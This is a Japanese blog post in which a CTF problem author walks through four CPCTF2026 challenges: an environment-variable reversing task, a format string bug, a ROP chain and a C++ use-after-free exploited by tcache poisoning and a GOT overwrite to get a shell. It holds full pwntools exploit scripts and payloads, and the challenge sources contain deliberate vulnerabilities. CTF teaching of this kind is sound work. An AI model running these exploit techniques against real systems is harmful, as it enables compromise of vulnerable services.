feature image

2026年4月25日 | ブログ記事

CPCTF2026 作問者writeup by kavos

このたびはCPCTF2026にご参加いただきありがとうございました。
この記事では、@kavosが作問した問題の解法について書きます。

問題

今回、以下の4問を作問しました。

[Rev] Lv.3 Out of World

問題概要

バイナリが渡されます。とりあえず起動してみると、"See you!"とだけ言われて何も起きません。

解答例

Ghidraでデコンパイルしてみるとこのようになります。

bool FUN_001012ec(void) {
  int iVar1;
  char *pcVar2;
  
  pcVar2 = getenv("CTF_SECRET_KEY");
  iVar1 = FUN_001011a9(pcVar2);
  if (iVar1 != 0) {
    puts("OK, the check passed! Here is the flag:");
    FUN_00101237(pcVar2);
  } else {
    puts("See you!");
  }
  return iVar1 == 0;
}

undefined8 FUN_001011a9(char *param_1) {
  undefined8 uVar1;
  size_t sVar2;
  ulong local_18;
  
  if (param_1 == (char *)0x0) {
    uVar1 = 0;
  } else {
    sVar2 = strlen(param_1);
    if (sVar2 == 0x18) {
      for (local_18 = 0; local_18 < 0x18; local_18 = local_18 + 1) {
        if ((byte)(param_1[local_18] ^ 0x23U) != (&DAT_00104050)[local_18]) {
          return 0;
        }
      }
      uVar1 = 1;
    } else {
      uVar1 = 0;
    }
  }
  return uVar1;
}

void FUN_00101237(long param_1) {
  long in_FS_OFFSET;
  ulong local_60;
  byte local_48 [41];
  undefined1 local_1f;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  for (local_60 = 0; local_60 < 0x29; local_60 = local_60 + 1) {
    local_48[local_60] =
         *(byte *)(param_1 + local_60 % 0x18) ^
         s_R]OB\wu.xOl0bEp1hs_"tx1n!ca%t;Il_00104020[local_60] ^ 0x45;
  }
  local_1f = 0;
  puts((char *)local_48);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
    __stack_chk_fail();
  }
  return;
}

FUN_001012ecがmain関数ですが、ここでgetenv関数を使って環境変数を取得しています。その後FUN_00101237の結果に応じてflagを出力するかどうか分岐しているため、おそらくcheck_flagのような関数であると予想できます。また、FUN_00101237もflagを出力する関数であると予想できます。

FUN_00101237関数を見てみると、DAT_00104050にあるデータと(入力 ^ 0x23)を比較しています。そのため、以下のようなスクリプトによって格納すべき値がわかりそうです。

dec = "wkjp|jp|pvsfq|pf`qfw|hfz"
for c in dec:
    print(chr(ord(c) ^ 0x23), end="")

これを実行すると、

THIS_IS_SUPER_SECRET_KEY

となります。よって、以下のように環境変数を設定したうえで実行するとflagが得られます。

$ export CTF_SECRET_KEY="THIS_IS_SUPER_SECRET_KEY"
$ ./chal-f7199d01c49d56bebaae2d98ff2b597c 
OK, the check passed! Here is the flag:
CPCTF{c4n_y0u_f1nd_3nv1r0nm3n7_v4r1abl35}

[Pwn] Lv.3 campaign

問題概要

以下のC言語プログラムが渡されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void init() {
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);
}

char type[] = "ai";

int main() {
  init();

  char name[0x60];
  int phone;
  
  printf("Hi! You are so lucky, you can get a free VIP membership for a year! Please tell me your name and phone number.\n");
  printf("Name: ");
  fgets(name, 0x60, stdin);
  printf("Phone: ");
  scanf("%d", &phone);

  printf("Please confirm your information:\n");
  printf("Name: ");
  printf(name);
  printf("Phone: ");
  printf("%d\n", phone);

  if (strcmp(type, "human") == 0) {
    printf("Congratulations! You can get the VIP membership!\n");
    system("cat flag.txt");
  } else {
    printf("Sorry, we can only give the VIP membership to humans.\n");
  }
}

どうやら何かのキャンペーンに当選したみたいです。しかし、デフォルトでAIと判定されているようなので、なんとかhumanであることを示さなければなりません。

解答例

この部分に脆弱性があります。

printf(name);

Format String Bugと呼ばれる脆弱性で、printfの第一引数に任意の文字列を入力できると、書式文字列を含む文字列を入力することで意図しない動作を引き起こすことができます。

たとえば、%p(変数をポインタとして表示する)指定子を使用すると、

Hi! You are so lucky, you can get a free VIP membership for a year! Please tell me your name and phone number.
Name: %p.%p.%p.%p.%p.%p
Phone: 100
Please confirm your information:
Name: 0x7ffc662eb330.(nil).(nil).0x6.(nil).0x2000000

このように表示されます。

書式指定子にはさまざまありますが、このうち%nは「これまで出力した文字数をメモリに出力する」という効果があります。これを利用すると任意の位置のメモリを任意の値に書き換えることができます。そのため、これを用いて"ai"を"human"に置き換えればフラグを獲得できます。

readelfコマンド等でシンボルを見ると変数typeは0x404050にあることがわかるので、

するとよいです。スクリプトを書くと、たとえばこのようになります。

from pwn import *
import sys

elf = ELF('./campaign')
conn = remote('133.88.122.244', 99999)

target = elf.symbols['type']

hu = 0x7568
ma = 0x616d
n = 0x6e

count = 0
fstr = f'%{hu}c%13$hn'
count += hu
fstr += f'%{(ma - count) % 0x10000}c%14$hn'
count += (ma - count) % 0x10000
fstr += f'%{(n - count) % 0x100}c%15$hhn'

payload = fstr.encode()
payload = payload.ljust(0x28, b'a')

payload += p64(target)     # hu
payload += p64(target + 2) # ma
payload += p64(target + 4) # n

conn.sendlineafter(b'Name: ', payload)
conn.sendlineafter(b'Phone: ', b'100')

conn.interactive()
CPCTF{b3_c4r3fu1_0f_ph15h1ng_m3s54g3s}

感想とか

FSBの入門的な問題として作りました。%nは非常に面白い性質を持っていますが、GOT Overwriteまで含めてしまうと難易度が上がりすぎてしまうので、グローバル変数の書き換えという形で出題してみました。

[Pwn] Lv.4 coding agent

問題概要

ソースコードが配布されず、バイナリのみが渡されます。
どうやらコーディングエージェントみたいですが、起動してみると

Hello! I'm a super-intelligent coding agent powered by an LLM.
How can I help you today?
> write hello world
Sorry, your weekly limit has been reached. Please try again next week.

このように、すぐにレートリミットに到達して何もやってくれません。

解答例

checksecをするとcanaryが存在せず、長い文字列を入力するとクラッシュするのでバッファオーバーフローがありそうだとわかります。

さて、アセンブリを読んでいくとwin関数があることがわかります。その最初の方を読むとこのようなコードに遭遇します。

00000000004013f8 <win>:
  4013f8: f3 0f 1e fa           endbr64
  4013fc: 55                    push   rbp
  4013fd: 48 89 e5              mov    rbp,rsp
  401400: 48 81 ec 40 01 00 00  sub    rsp,0x140
  401407: 4c 89 b5 d8 fe ff ff  mov    QWORD PTR [rbp-0x128],r14
  40140e: 48 89 9d d0 fe ff ff  mov    QWORD PTR [rbp-0x130],rbx
  401415: 4c 89 a5 c8 fe ff ff  mov    QWORD PTR [rbp-0x138],r12
  40141c: 48 b8 76 68 00 00 00  movabs rax,0x7a0000006876
  401423: 7a 00 00
  401426: 48 39 85 d8 fe ff ff  cmp    QWORD PTR [rbp-0x128],rax
  40142d: 75 26                 jne    401455 <win+0x5d>
  40142f: 48 b8 00 40 08 00 d0  movabs rax,0x3b001d000084000
  401436: 01 b0 03
  401439: 48 39 85 d0 fe ff ff  cmp    QWORD PTR [rbp-0x130],rax
  401440: 75 13                 jne    401455 <win+0x5d>
  401442: 48 b8 40 2c 00 00 07  movabs rax,0x700002c40
  401449: 00 00 00
  40144c: 48 39 85 c8 fe ff ff  cmp    QWORD PTR [rbp-0x138],rax
  401453: 74 14                 je     401469 <win+0x71>
  401455: 48 8d 05 a8 0b 00 00  lea    rax,[rip+0xba8]        # 402004 <_IO_stdin_used+0x4>
  40145c: 48 89 c7              mov    rdi,rax
  40145f: e8 4c fc ff ff        call   4010b0 <puts@plt>

これより、

を入れた状態でwinを呼び出せばチェックを通過することがわかります。その後も処理は続きますが、これは入力された3つの値から"flag.txt"を復元して読みだす処理を行っています。

さて、アセンブリを見るとすぐ上にこのようなコードがあります。

  4013ed:	5b                   	pop    rbx
  4013ee:	5d                   	pop    rbp
  4013ef:	41 5c                	pop    r12
  4013f1:	41 5d                	pop    r13
  4013f3:	41 5e                	pop    r14
  4013f5:	41 5f                	pop    r15
  4013f7:	c3                   	ret

このgadgetを使うことで、要求されたレジスタに値を入れることができそうです。

from pwn import *
import sys

conn = remote('133.88.122.244', 99999)
elf = ELF('./coding-agent')

payload = b'A' * 0x28
payload += p64(0x4013ed)
payload += p64(0x3b001d000084000) # rbx
payload += p64(0x0)               # rbp
payload += p64(0x700002c40)       # r12
payload += p64(0x0)               # r13
payload += p64(0x7a0000006876)    # r14
payload += p64(0x0)               # r15
payload += p64(elf.symbols['win'])

conn.sendlineafter(b'> ', payload)
conn.interactive()
CPCTF{u53_sc4nf_w17h_s1z3_0f_buFf3r5}

感想など

ほんの少しだけひねったROPです。デコンパイラよりアセンブリを読んだ方がわかりやすい場面もあるということを伝えようと思って作りました。

[Pwn] Lv.5 diary

問題概要

日記を管理するアプリケーションです。
このようなソースコードが与えられます。

#include <iostream>
#include <string>
#include <vector>
#include <stdexcept>
  
class DiaryImpl {
public:
    DiaryImpl(const std::string &content, int m = 0, int d = 0)
        : content(content), month(m), day(d)
    {
        if (m == 0 && d == 0) {
            throw std::runtime_error("Invalid date");
        }
  
        lines = 1;
        words = 0;
        bool in_word = false;
        for (char c : content) {
            if (c == '\n')
                lines++;
            if (c == ' ' || c == '\n' || c == '\t') {
                if (in_word) {
                    words++;
                    in_word = false;
                }
            } else {
                in_word = true;
            }
        }
        if (in_word) {
            words++;
        }
    }
    ~DiaryImpl() = default;
  
    void show() {
        std::cout << content << "\n=======================\n" << words << " words, " << lines << " lines" << std::endl;
    }
  
    void show_summary() {
        std::cout << "Diary - " << month << "/" << day << std::endl;
    }
  
    void to_upper() {
        for (char &c : content) {
            c = std::toupper(c);
        }
    }
  
    void set_date(int m, int d) {
        month = m;
        day = d;
    }
  
    void set_content(const std::string &new_content) { content = new_content; }
  
    size_t size() const { return content.size(); }
  
private:
    int month;
    int day;
    int lines;
    int words;
    std::string content;
};
  
class Diary {
public:
    Diary(const std::string &content, int month = 0, int day = 0) {
        impl = new DiaryImpl(content, month, day);
    }
  
    ~Diary() { delete impl; }
  
    void show() { impl->show(); }
  
    void show_summary() { impl->show_summary(); }
  
    void to_upper() { impl->to_upper(); }
  
    void update(const std::string &new_content, int month, int day) {
        if (new_content != "") {
            impl->set_content(new_content);
        }
        impl->set_date(month, day);
    }
  
    size_t size() const { return impl->size(); }
  
private:
    DiaryImpl *impl;
};
  
inline std::string user_input(const char *prompt) {
    std::string input;
    std::cout << prompt;
    std::cout.flush();
  
    std::cin.ignore();
  
    char *line = nullptr;
    size_t len = 0;
    ssize_t read = getline(&line, &len, stdin);
    if (read < 0) {
        exit(1);
    }
  
    if (line[read - 1] == '\n') {
        line[read - 1] = '\0';
    }
  
    return std::string(line);
}
  
std::vector<Diary> diaries;
  
void create() {
    int month, day;
    std::cout << "Enter date (month day): ";
    std::cout.flush();
    std::cin >> month >> day;
  
    std::string content = user_input("Enter diary content: ");
  
    diaries.emplace_back(content, month, day);
}
  
void show_with_emphasis(Diary diary) {
    diary.to_upper();
    diary.show();
}
  
void show(bool formatted = false) {
    int index;
    std::cout << "Enter diary index: ";
    std::cout.flush();
    std::cin >> index;
  
    if (index >= 0 && index < diaries.size()) {
        if (formatted) {
            show_with_emphasis(diaries[index]);
        } else {
            diaries[index].show();
        }
    } else {
        std::cout << "Invalid index." << std::endl;
    }
}
  
void update() {
    int index;
    std::cout << "Enter diary index to update: ";
    std::cout.flush();
    std::cin >> index;
  
    if (index >= 0 && index < diaries.size()) {
        int month, day;
        std::cout << "Enter new date (month day): ";
        std::cout.flush();
        std::cin >> month >> day;
  
        std::string content = user_input("Enter new diary content: ");
  
        diaries[index].update(content, month, day);
        std::cout << "Diary updated." << std::endl;
    } else {
        std::cout << "Invalid index." << std::endl;
    }
}
  
void list_diaries() {
    std::cout << "Diaries:" << std::endl;
    for (size_t i = 0; i < diaries.size(); ++i) {
        std::cout << i << ": ";
        diaries[i].show_summary();
    }
    std::cout.flush();
}
  
int main() {
    diaries.reserve(64);
  
    while (true) {
        std::cout << "1. Create Diary\n"
                     "2. Show Diary\n"
                     "3. Show Diary with Emphasis\n"
                     "4. Update Diary\n"
                     "5. List Diaries\n"
                     "6. Exit\n"
                     "Enter your choice: ";
        std::cout.flush();
  
        int choice;
        std::cin >> choice;
  
        std::cout << std::endl;
  
        switch (choice) {
            case 1:
                create();
                break;
            case 2:
                show(false);
                break;
            case 3:
                show(true);
                break;
            case 4:
                update();
                break;
            case 5:
                list_diaries();
                break;
            case 6:
                std::cout << "Exiting..." << std::endl;
                return 0;
            default:
                std::cout << "Invalid choice." << std::endl;
                return 0;
        }
  
        std::cout << std::endl;
    }
  
    return 0;
}

解答例

脆弱性

この関数に脆弱性があります。

void show_with_emphasis(Diary diary) {
    diary.to_upper();
    diary.show();
}

// 呼び出し部
show_with_emphasis(diaries[index]);

show_with_emphasis関数ではDiaryを値渡ししています。そのため、値渡しされるDiaryはコンパイラが暗黙的に生成したコピーコンストラクタを用いて生成され、関数終了時にこのオブジェクトは破棄されます。しかしながら、暗黙的に生成されるコピーコンストラクタはポインタ変数をshallow copyするため、以下のようにしてUse After Freeが成立します。

  1. Diaryを値渡しすると、DiaryImplのポインタの値のみがコピーされる(実体は1つのみ)
  2. 関数が終了し、Diaryのデストラクタが呼び出される
  3. delete implが実行され、DiaryImplはfreeされる
  4. しかし、呼び出し側からはそのDiaryにアクセスできるため、Diaryがもつimplはfreeされたものである

方針

逆アセンブル結果を見ると、C++関数のほかにstrlen関数が存在しています。これを調べると、std::stringの初期化時に呼び出されていることがわかります。ソースコード上では

inline std::string user_input(const char *prompt) {
    std::string input;
    std::cout << prompt;
    std::cout.flush();
  
    std::cin.ignore();
  
    char *line = nullptr;
    size_t len = 0;
    ssize_t read = getline(&line, &len, stdin);
    if (read < 0) {
        exit(1);
    }
  
    if (line[read - 1] == '\n') {
        line[read - 1] = '\0';
    }
  
    return std::string(line);
}

このuser_input関数の最終行から呼び出されるので、GOT Overwriteによってstrlensystemなどにすることでフラグを獲得できそうです。

全体的な方針は、

  1. libcアドレスのリーク
  2. ヒープ位置のリーク
  3. GOT Overwrite

という流れです。GOT Overwriteに関しては、tcacheのnextをGOTに指定したうえでcreateするとGOT上にDiaryが作成され、コンストラクタでint変数month dayが書き込まれるので、それを使用するとGOT Overwriteできます。

libcアドレスのリーク

今回は、書き込む文字列の長さによってstd::stringが内部的に確保するバッファのサイズを操作できます。そのため、ある程度長い文字列を入力し、unsorted binのfd/bkメンバがmain_arenaを指していることからlibcアドレスを特定します。

for i in range(9):
    create(1, 1, b'A' * 0x100)
  
for i in range(9):
    show_emphasis(i)
  
usbin = show(7)
usbin_fd = u64(usbin[:8])
usbin_bk = u64(usbin[8:16])
  
libc_base = usbin_bk - main_arena_offset
log.info(f'libc base: {libc_base:#x}')

heapアドレスのリーク (Safe Linkingの解除)

Safe Linkingを突破するためにheapアドレスのリークを行います。tcacheの本来のnextの値がNULLだった場合、観測できるnextの値はSafe LinkingにおいてアドレスにXORを掛ける値に等しいです。

nextの値であれば、DiaryImplクラスのmonthdayが見られればわかります。

show_emphasis(18)

# heap position leak
ds = list_diaries()
print(ds)
match = re.search(b'18: Diary - (\d+)/(\d+)', ds)
if not match:
    log.error('Failed to find date in show output')
    exit(1)
heap_pos = int(match.group(1))
log.info(f'Extracted heap position: {heap_pos:#x}')

GOT Overwrite

最後にGOT Overwriteとして、strlensystemに書き換えます。書き込みの際、monthdayが符号付き4バイト整数であることに注意してください。

# GOT overwrite
protected_got = heap_pos ^ elf.got['strlen']
log.info(f'Calculated protected GOT address: {protected_got:#x}, row strlen GOT: {elf.got["strlen"]:#x}')
protected_got_upper = signed_int(protected_got >> 32)
protected_got_lower = signed_int(protected_got & 0xffffffff)
update(19, str(protected_got_lower), str(protected_got_upper), b'')
  
create(1, 1, b'B' * 0x5)
  
system_addr = libc_base + libc.symbols['system']
log.info(f'Calculated system address: {system_addr:#x}')
system_addr_upper = signed_int(system_addr >> 32)
system_addr_lower = signed_int(system_addr & 0xffffffff)
create(system_addr_lower, system_addr_upper, b'')

シェル奪取

最後に、書き換えられたstrlenを呼ぶためにcreateを呼び出します。

create(1, 1, b'/bin/sh\x00')

エクスプロイトの全体

from pwn import *
import sys
import re
import ctypes
  
# context.log_level = 'debug'
  
conn = remote('133.88.122.244', 99999)
elf = ELF('./diary')
libc = ELF('./libc.so.6')
  
main_arena_offset = 0x79a445603b20 - 0x79a445400000

def signed_int(val):
    return ctypes.c_int32(val).value
  
def create(month, day, content):
    conn.sendlineafter(b'Enter your choice: ', b'1')
    conn.sendlineafter(b'Enter date (month day): ', f'{month} {day}'.encode())
    conn.sendlineafter(b'Enter diary content: ', content)
  
def show(index):
    conn.sendlineafter(b'Enter your choice: ', b'2')
    conn.sendlineafter(b'Enter diary index: ', str(index).encode())
    return conn.recvuntil(b'=======================')
  
def show_emphasis(index):
    conn.sendlineafter(b'Enter your choice: ', b'3')
    conn.sendlineafter(b'Enter diary index: ', str(index).encode())
    return conn.recvuntil(b'=======================')
  
def update(index, month, day, content):
    conn.sendlineafter(b'Enter your choice: ', b'4')
    conn.sendlineafter(b'Enter diary index to update: ', str(index).encode())
    conn.sendlineafter(b'Enter new date (month day): ', f'{month} {day}'.encode())
    if content == b'':
        conn.sendlineafter(b'Enter new diary content: ', b'')
    else:
        conn.sendlineafter(b'Enter new diary content: ', content)
  
def list_diaries():
    conn.sendlineafter(b'Enter your choice: ', b'5')
    return conn.recvuntil(b'1. Create Diary')
  
# libc leak
for i in range(9):
    create(1, 1, b'A' * 0x100)
  
for i in range(9):
    show_emphasis(i)
  
list_diaries()
  
usbin = show(7)
usbin_fd = u64(usbin[:8])
usbin_bk = u64(usbin[8:16])
  
libc_base = usbin_bk - main_arena_offset
log.info(f'libc base: {libc_base:#x}')
  
# clear tcache & leave only two chunk in tcache
for i in range(9):
    create(1, 1, b'B' * 0x5)
  
create(1, 1, b'B' * 0x5)
create(1, 1, b'B' * 0x5) # free after leaking heap position
show_emphasis(18)
  
# heap position leak
ds = list_diaries()
print(ds)
match = re.search(b'18: Diary - (\d+)/(\d+)', ds)
if not match:
    log.error('Failed to find date in show output')
    exit(1)
heap_pos = int(match.group(1))
log.info(f'Extracted heap position: {heap_pos:#x}')
  
show_emphasis(19) # tcache count = 2
  
# GOT overwrite
protected_got = heap_pos ^ elf.got['strlen']
log.info(f'Calculated protected GOT address: {protected_got:#x}, row strlen GOT: {elf.got["strlen"]:#x}')
protected_got_upper = signed_int(protected_got >> 32)
protected_got_lower = signed_int(protected_got & 0xffffffff)
update(19, str(protected_got_lower), str(protected_got_upper), b'')
  
list_diaries()
  
create(1, 1, b'B' * 0x5)
  
list_diaries()
  
system_addr = libc_base + libc.symbols['system']
log.info(f'Calculated system address: {system_addr:#x}')
system_addr_upper = signed_int(system_addr >> 32)
system_addr_lower = signed_int(system_addr & 0xffffffff)
create(system_addr_lower, system_addr_upper, b'')
  
create(1, 1, b'/bin/sh\x00')
  
conn.interactive()
CPCTF{s7r0ng1y_r3c0mmend3d_t0_u3e_3m4r7_p01nt3r}

感想など

私が適当に書いたC++コードをAIに指摘されたことがきっかけで問題になりました。謎にp-implを使っていたり、入力で面倒なことをやっていたりしますが、なるべく自然なプログラムになるようにしています。

Rustにしたらコンパイラに怒られそうなプログラムですね。

おわりに

改めて、CPCTFに参加していただいた皆さん、解いていただいた皆さん、本当にありがとうございました。相変わらず典型+αくらいの問題しか作れなかったので、もし来年も機会があればもっと面白い問題が作れるように努力していきたいです。

kavos icon
この記事を書いた人
kavos

24B CTFをやったり,グラフィックスプログラミングをやったりしています

この記事をシェア

このエントリーをはてなブックマークに追加
共有

関連する記事

2021年8月12日
CPCTFを支えたWebshell
mazrean icon mazrean
2021年5月19日
CPCTF2021を実現させたスコアサーバー
xxpoxx icon xxpoxx
2021年5月16日
CPCTFを支えたインフラ
mazrean icon mazrean
2019年4月22日
アセンブリを読んでみよう【新歓ブログリレー2019 45日目】
eiya icon eiya
2025年12月21日
MacでもPwnしたい!
akimo icon akimo
2023年4月29日
CPCTF2023 PPC作問陣 Writeup
noya2 icon noya2
記事一覧 タグ一覧 Google アナリティクスについて 特定商取引法に基づく表記